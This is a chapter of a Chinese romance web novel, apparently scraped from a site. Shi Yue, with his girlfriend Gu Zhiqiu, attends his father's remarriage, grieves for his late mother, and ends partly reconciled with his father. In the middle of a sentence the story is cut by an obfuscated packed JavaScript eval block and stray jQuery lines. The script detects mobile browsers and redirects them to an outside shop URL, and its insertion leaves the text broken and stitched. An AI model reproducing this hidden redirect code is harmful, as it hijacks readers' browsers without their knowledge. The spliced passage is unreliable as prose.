盛夏的暴雨，来得猛烈，去得也干脆。雨后初霁的京市，阳光刺眼到有点不真实。傍晚，顾知秋站在酒店大堂的落地窗前，望着外面被大雨冲洗过的街道，玻璃上的雨滴，像是残留的眼泪。


    她穿了一条素净的浅蓝色连衣裙，衬得她肤色愈发白皙。她下意识地抚了抚裙摆上并不存在的褶皱，


    “是不是有点紧张？”


    低沉的嗓音从身后传来，带着她熟悉的平静，但她还是敏锐地捕捉到了那平静之下的一丝紧绷。


    她转过身。时越就站在她身后几步远的地方，一身剪裁合体的深色西装，将他挺拔的身形勾勒得愈发利落。白衬衫的领口挺括，一丝不苟。


    顾知秋的目光在那条歪斜的领带上停留了一瞬，她唇角不自觉微微扬起，上前一步，很自然地抬手，指尖轻柔地为他调整：“你领带又歪了。”


    他没有动，只是垂眸看着她，目光沉静，像深不见底的潭水，隐藏着所有情绪。


    “没有见家长的经验，”她低声说，手下动作细致地将领带结推至完美对称，“尤其还是在这个场合，确实不太适应。”


    时越握住她刚刚放下的手，力道不重：“抱歉，”他的声音压低了些，“把你带到这里，我只是……”


    顾知秋反手轻轻回握了他一下，她懂他没说出口的话，她也不想他一个人来面对这局面。


    “叮”的一声，电梯抵达。出来后，厚重的长绒地毯瞬间吞没了所有脚步声，空气里弥漫着酒店的香氛，甜腻得让人有些透不过气。


    套房的门虚掩着，里面传来低沉的讲电话声，语气是不容置疑的果决。时越推门而入，时父正站在巨大的落地窗前，背对着他们。听到动静，他很快结束了通话，转过身来。


    时父的目光先是落在顾知秋身上，带着一种审慎的打量，很快转向时越。


    “来了。”他开口，语气比电话里听起来要柔和一些，“房间都安排好了，你们一会先休息一下。”


    顾知秋注意到他右手无名指，戴着一枚崭新的婚戒，在室内灯光下反射出冷硬的光芒。然而，在那枚新戒之下，无一圈因长年佩戴而形成的白色戒痕，也同样清晰刺眼。


    “爸，这是顾知秋。”时越简短的介绍。


    “叔叔好。”顾知秋上前一步，扬起一个礼貌的微笑。


    时父微微颔首，眼底那丝不易察觉的柔和又浮现出来：“以前听时越提起你。”他顿了顿，像是寻常长辈般随口关心，“以后，跟小越有什么打算？”


    顾知秋怔了一下，正斟酌着如何回应，时越已经先一步开了口，声音里有一丝不耐烦：“我们的事，暂时不劳您费心。”


    还好，酒店工作人员的敲门声打破了突然冻结的气氛，他们来送明天的流程表。时父接过表格，目光重新落回时越身上，语气里是不容拒绝：“今天晚饭后，来我房间谈一谈。”


    时越没有任何表情，极淡地“嗯”了一声。


    第二天的婚礼设在酒店最大的宴客厅。现场布置的高贵不失典雅，简约的白纱拱门，浅色系的花束与座椅，空气里流动着鲜花清甜的香气。


    顾知秋坐在时越身旁，他面前的餐盘干干净净，连她推过去的那块造型甜点也未曾动过。他的视线始在不远处，看着那个气质温婉的新娘。


    新娘看起来年约三十五岁，笑容温和。而此刻陪伴在她身旁的时父，比昨日更多了几分温和。


    “听说你儿子成绩非常出色？”一位颇有派头的中年男士举着酒杯，笑着看向时父，又将目光转向时越，“是准备出国深造吧？”


    “年轻人是该出去闯荡见识一下，”那人语气带着过来人的意味深长，拍了拍时父的肩膀，“老时啊，人嘛，总要学会往前看，不能一直沉湎于过去，得重新开始才行。”


    “重新开始”四个字，戳破了时越努力维持的平静。他放在桌下的手骤然握紧，手背上青筋隐现。顾知秋几乎是立刻在桌下伸出手，轻轻覆上他的拳，试图熨平他绷紧的线条。


    仪式即将正式开始，悠扬的音乐声缓缓流淌。司仪已就位，白纱拱门下，时父轻轻牵起新娘的手。


    致辞环节，他的语气坚定，透过麦克风清晰地传遍大厅的每个角落：“……感谢你，出现在我的生命里，让我有勇气，可以重新开始。”


    又是“重新开始”。顾知秋感觉到身旁的时越身体猛地一僵。


    时越倏地起身，匆匆跟顾知秋说了句：“我去下洗手间。”


    此刻，满场的宾客目光都聚焦在那一对新人身上，几乎无人注意到这个角落。顾知秋没有任何犹豫，起身跟了上去，一路上对偶尔投来疑惑目光的宾客报以浅笑。


    穿过觥筹交错的宴会厅，她来到通往酒店后花园的玻璃门边。


    酒店的后花园与婚礼的喧嚣恍若两个世界。高大的树木枝叶繁茂，滤去了大部分阳光，也隔绝了远处的声响。


    她很快看到了要找的人。


    他站在一株老槐树下，西装外套随意地搭在旁边的灌木丛上，白衬衫的袖子被潦草地卷到手肘，露出紧实的小臂。他面对着这颗大树，一只手握成拳，骨节因为用力而显得苍白。肩背微微佝偻着，一下下地、无声地颤抖着，压抑着情绪。


    顾知秋的心像被揪住，酸涩得发疼。她慢慢走近，在离他几步远的地方停下、几乎是气音那般唤了一声：“时越……”


    他没有回头，但颤抖的脊背线条，几不可察地僵滞了一下。


    过了仿佛有一个世纪那么久，他才极其缓慢地转过身来。眼眶是通红的，眼底布满了血丝。然而脸上的表情却极力维持着冷静。


    “我没事，”他嗓音暗哑，“我只是，有点想起我妈了。”说完试图扯出一个轻松的笑，但那弧度却比哭更让人难受。


    顾知秋从未见过这样的时越。眼前的少年没有歇斯底里，眼神却满是浓得化不开的悲伤与迷茫


    她默地走上前，伸出双手，轻轻地、却无比坚定地环抱住了他紧绷的身体。


    在她拥住他的那一刻，时越一直强撑的外壳，仿佛终于碎裂开来。他几乎是立刻回拥住她，手臂紧紧地箍住她的背，力道大得几乎要将她揉碎进自己的身体里。他将脸深深地埋进她的颈窝，温热的呼吸朝她涌来，带着无法抑制的颤抖。


    “我妈走后，他把所有照片，所有她用过的东都收起来了……”他的声音闷在她的颈间，有些破碎，“他说看着太痛苦……那时候我以为，他只是太难过，难过到无法承受……”


    他深吸一口气，肩膀的抖动平息了些，“可现在呢？他连那点痛苦都不要了，他选择了‘重新开始’……”


    顾知秋没有说话，只是用手掌温柔的一遍遍地抚过他脊背，像在安抚一只受伤的幼兽。


    此刻对时越来说，她的怀抱是最无言的慰藉，她的肩膀是最安稳的港湾。


    良久，他的呼吸平复了一些


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574069|181043||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。他稍稍松开她，低头从西装内袋里，极其珍重地取出那张顾知秋早已熟悉的泛黄照片，照片塑封包装的很好。


    照片上的女人，站在一片金灿灿的向日葵花田边，笑容明媚灿烂，眼里有光，扬起的裙摆被风吹出一个青春的弧度。


    “她最喜欢向日葵，”他的指尖轻轻拂过照片上母亲的笑脸，“我记得很清楚，拍这张照片那天，是她的生日，也是我们全家第一次出去旅游……”


    顾知秋的目光落在照片右下角那个模糊的日期上，心猛地一沉。


    而时越讽刺地扯了扯嘴角：“所以，他选在今天结婚。”


    “你说，这算是什么？一种纪念吗？”


    —


    “我就知道,你会在这儿。”身后突然传来时父略带疲惫的声音，“你跟小时候一样，不高兴就会躲到树底下。”


    他们同时回头。时父不知何时站在了几步之外，胸前端正佩戴的礼花有些歪斜，让他整个人看起来反而更有些亲切感。他的目光复杂地落在时越身上，里面没有了惯常的严厉，反而带着一种难以言喻的疲惫。


    “小顾，”他转向顾知秋，微微颔首，语气甚至带着一丝不易察觉的请求，“能让我们父子两个，单独待一会儿吗？”


    顾知秋抬头看向时越，用眼神询问他的意见。时越沉默着点了一下头。她这才轻轻握了握她的手，像是一种无声的鼓励，然后顺从地站起身，走到了花园的另一侧的长椅上坐了下来，这里能能看到他们的情况却又听不清谈话的内容。


    阳光透过枝叶的缝隙，在她的裙摆上投下稀碎的光影。时间一分一秒地过去。她看到时越的背影始终挺直，看到时父偶尔抬手似乎想要碰一下已经比他高的孩子……他们的谈话的氛围，似乎是从最初的僵硬中慢慢缓和了下来。


    大约过了二十来分钟，时越站起身，朝她走了过来。


    他的神情依旧是平静的，但神情像是卸下了某种沉重的枷锁，流露出一种近乎茫然的松动。


    他在她身边坐下，没有说话，只是沉默地从口袋里掏出一张边缘已经磨损黑白证件照，递到她面前。


    “他给的。” 时越的声音有些沙哑，“说一直放在钱包里，很多年了。”


    顾知秋接过。照片是母亲年轻时的证件照，黑白色调也掩不住她眉宇间的清秀与温柔。她翻到背面，上面用蓝色圆珠笔写着一行字，笔迹因长年摩挲已有些模糊：


    【永失吾爱】。


    他看着远处树影下父亲离开的背影，低声说：


    “他说，选在今天……是觉得只有这样，才不算背叛。”


    顾知秋看着他低垂的侧脸，小心地问：“那你……能接受吗？”


    时越缓缓摇头，随即又像是自我否定般，扯出一个极淡的的笑。


    “我不知道。”他沉默片刻，才再次开口，声音低沉，“但我好像有点理解他的痛苦了。”


    “我们回去吧。”她说。


    回到略显喧嚣的宴会厅门口，顾知秋停下脚步，轻轻拉住了时越。


    “时越。”


    “嗯？”


    她抬起头，声音温柔，目光坚定地看着他：“你不必为了任何原因，强迫自己做出违背心意的妥协。”


    她爱他。她希望自己的爱是支持，是理解，是港湾。


    他收紧与她交握的手，低声回应，像是在许下一个郑重的承诺：


    “我知道。”